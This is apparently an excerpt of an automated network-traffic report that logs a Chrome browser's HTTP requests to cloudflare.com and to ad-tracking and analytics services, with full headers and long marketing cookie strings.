cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261176; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259320340%2C%22hasActivity%22:true%2C%22recordingConditionThreshold%22:79.54295221373373};
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CJuZ2P6ImIkDFQ9XHgIdYL86uw;src=9309168;type=a_pri_pv;cat=0p_qual;ord=241520067182;npa=0;auiddc=;u1=FL%20-%20Brand%20-%20GLOBAL%20-%20Quality%20Visit;u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=197428910;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2 HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CN3D2f6ImIkDFYddHgIdbl4eUA;src=9309168;type=a_eng0;cat=3_timer;ord=8119111381538;npa=0;auiddc=;u1=timer_event%20(30%20Sec);u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=1253340237;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2 HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261176; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259320340%2C%22hasActivity%22:true%2C%22recordingConditionThreshold%22:79.54295221373373};
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=a12798b1-33eb-422c-9bec-0244a67cb86e HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cable?wv=9&token=37pXYrro6wCZbsU7&vu=c1910c9b-f2a2-4705-8fc0-5ba97f36ebbe&wu=e94968ef-2552-4e4d-90d8-70a75875c7ad&ca=2024-10-18T13%3A48%3A12.870Z&tz=America%2FNew_York&bis=5&referrer=https%3A%2F%2Fbookingadocel.com%2F&pv=1&fv=2024-10-18-65af8c0735&iml=false&ic=false HTTP/1.1Host: ws6.qualified.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://www.cloudflare.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: n5gPjAX1VZb068rxcyTzIQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: actioncable-v1-json, actioncable-unsupported
Source: global traffic	HTTP traffic detected: GET /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Ct&ct=79.54295221373373 HTTP/1.1Host: r.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=36ab3e3d-01fc-4175-8617-021d24a06417 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CJuZ2P6ImIkDFQ9XHgIdYL86uw;src=9309168;type=a_pri_pv;cat=0p_qual;ord=241520067182;npa=0;auiddc=;u1=FL%20-%20Brand%20-%20GLOBAL%20-%20Quality%20Visit;u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=197428910;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2 HTTP/1.1Host: adservice.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /*X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CN3D2f6ImIkDFYddHgIdbl4eUA;src=9309168;type=a_eng0;cat=3_timer;ord=8119111381538;npa=0;auiddc=;u1=timer_event%20(30%20Sec);u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=1253340237;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2 HTTP/1.1Host: adservice.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /*X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Ct&ct=79.54295221373373 HTTP/1.1Host: r.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Ct&ct=79.54295221373373 HTTP/1.1Host: r.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cable?wv=9&token=37pXYrro6wCZbsU7&vu=c1910c9b-f2a2-4705-8fc0-5ba97f36ebbe&wu=e94968ef-2552-4e4d-90d8-70a75875c7ad&ca=2024-10-18T13%3A48%3A12.870Z&tz=America%2FNew_York&bis=5&referrer=https%3A%2F%2Fbookingadocel.com%2F&pv=1&fv=2024-10-18-65af8c0735&iml=false&ic=false HTTP/1.1Host: ws6.qualified.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://www.cloudflare.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: BWzpKs1jksnujVz1kKPUqQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: actioncable-v1-json, actioncable-unsupported
Source: global traffic	HTTP traffic detected: GET /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Ct&ct=79.54295221373373 HTTP/1.1Host: r.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Ct&ct=79.54295221373373 HTTP/1.1Host: r.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Ct&ct=79.54295221373373 HTTP/1.1Host: r.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/SAs3NRmywD4ydBAsj8z6L/8ecedebe7d84f1abe074fee24bc9bf6b/info.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=6; cfzs_googl
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/57ABXXM79uTTFbsc925v8O/4b2b331f5a1475d45705d9c5fc61b85c/price.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=6; cfzs_goo
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/3uFblkuIoaQq9IXfbLMOyj/b893f6e726771d2b409acf1338eff652/internet-browser.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; 